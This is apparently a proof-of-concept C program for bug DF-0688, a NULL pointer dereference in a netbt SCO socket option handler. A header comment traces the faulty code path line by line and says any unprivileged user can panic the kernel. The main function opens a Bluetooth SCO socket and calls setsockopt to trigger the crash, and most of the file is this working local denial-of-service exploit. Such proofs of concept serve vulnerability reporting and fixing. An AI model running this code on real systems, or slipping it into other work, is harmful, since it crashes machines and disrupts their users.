/*
 * DF-0688 PoC — sco_ctloutput PRCO_SETOPT unconditional NULL deref.
 *
 * Mechanism (sys/netbt/sco_socket.c:123-135):
 *   124:  m = m_get(M_WAITOK, MT_DATA);   // m->m_len == 0 always
 *   125:  soopt_to_kbuf(sopt, mtod(m,...), m->m_len, m->m_len); // copies 0 bytes
 *   127:  if (m->m_len == 0) {            // ALWAYS TRUE
 *   128:      m_freem(m); m = NULL; err = EIO;
 *         }                                // NO break/return
 *   133:  err = sco_setopt(pcb, sopt->sopt_name, mtod(m, uint8_t *));
 *         //  mtod(NULL, uint8_t*) == ((uint8_t*)((NULL)->m_data))   -> NULL deref
 *         //  => page fault / kernel panic on EVERY setsockopt()
 *
 * Trigger from an unprivileged user (once netbt.ko is loaded by an admin
 * setting up Bluetooth — analogous to mounting a filesystem image):
 *   s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
 *   setsockopt(s, BTPROTO_SCO, <anyname>, &one, sizeof(one));   // panic
 *
 * No specific optname/value is required. The panic is unconditional.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#ifndef AF_BLUETOOTH
#define AF_BLUETOOTH 33
#endif
#ifndef BTPROTO_SCO
#define BTPROTO_SCO 4
#endif

int
main(void)
{
    int s, val = 1;
    socklen_t len = sizeof(val);

    s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
    if (s < 0)
        err(1, "socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO)");

    printf("[*] got SCO socket fd=%d; firing setsockopt (any name, any val)\n", s);
    fflush(stdout);

    /*
     * PRCO_SETOPT path is taken unconditionally for any setsockopt on a SCO
     * socket. The mbuf dance at sco_socket.c:124-130 leaves m==NULL, then
     * line 133 dereferences mtod(NULL,...) -> panic.
     */
    if (setsockopt(s, BTPROTO_SCO, 0, &val, len) < 0)
        perror("[!] setsockopt returned (this should NOT happen if bug present)");

    /*
     * If we reach here, the bug is NOT present (the kernel was fixed or
     * netbt.ko is not loaded / domain unavailable).
     */
    printf("[+] reached end of main without panic -> bug NOT reproduced on this kernel\n");
    close(s);
    return 0;
}
